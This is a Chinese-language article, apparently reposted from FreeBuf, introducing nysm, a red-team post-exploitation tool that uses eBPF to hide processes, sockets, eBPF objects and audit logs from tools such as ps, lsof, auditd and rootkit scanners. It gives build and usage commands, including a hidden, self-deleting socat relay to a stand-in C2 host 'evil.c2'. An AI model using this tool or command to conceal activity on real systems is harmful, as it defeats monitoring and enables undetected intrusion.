前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >nysm:一款针对红队审计的隐蔽型后渗透安全测试容器

nysm:一款针对红队审计的隐蔽型后渗透安全测试容器

作者头像
FB客服
发布2024-04-01 14:03:25
920
发布2024-04-01 14:03:25
举报
文章被收录于专栏:FreeBufFreeBuf

关于nysm

nysm是一款针对红队审计的隐蔽型后渗透安全测试容器,该工具主要针对的是eBPF,能够帮助广大红队研究人员在后渗透测试场景下保持eBPF的隐蔽性。

功能特性

随着基于eBPF的安全工具越来越受社区欢迎,nysm也应运而生。该工具能保持各种安全测试工具的隐蔽性,当前版本的nysm支持隐藏下列内容:

1、新的eBPF程序; 2、新的eBPF Map; 3、新的eBPF链接; 4、新的审计生成日志; 5、新的进程PID; 6、新的会话套接字;

除了隐藏eBPF之外,当前版本的nysm还支持隐藏下列工具组件:

bpftool bpflist-bpfcc ps top sockstat rkhunter chkrootkit lsof auditd ...

工具安装

源码获取:

广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/eeriedusk/nysm.git

工具依赖组件安装:

代码语言:javascript
复制
sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y

Linux Header配置:

代码语言:javascript
复制
cd ./nysm/src/

bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

代码构建:

代码语言:javascript
复制
cd ./nysm/src/

make


工具使用

nysm的使用非常简单,并提供了下列参数命令:

代码语言:javascript
复制
Usage: nysm [OPTION...] COMMAND

Stealth eBPF container.

 

  -d, --detach               在后台运行命令

  -r, --rm                   执行后执行自毁程序

  -v, --verbose              生成Verbose模式输出

  -h, --help                  显示工具帮助信息

      --usage                显示工具使用提示消息


工具使用样例



运行一个隐藏的Bash:

代码语言:javascript
复制
./nysm bash

运行一个隐藏的ssh并移除./nysm:

代码语言:javascript
复制
./nysm -r ssh user@domain

以守护进程形式运行一个隐藏的socat并移除./nysm:

代码语言:javascript
复制
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443


许可证协议

本项目的开发与发布遵循Apache-2.0开源许可证协议。

项目地址

nysm:

https://github.com/eeriedusk/nysm

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-03-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档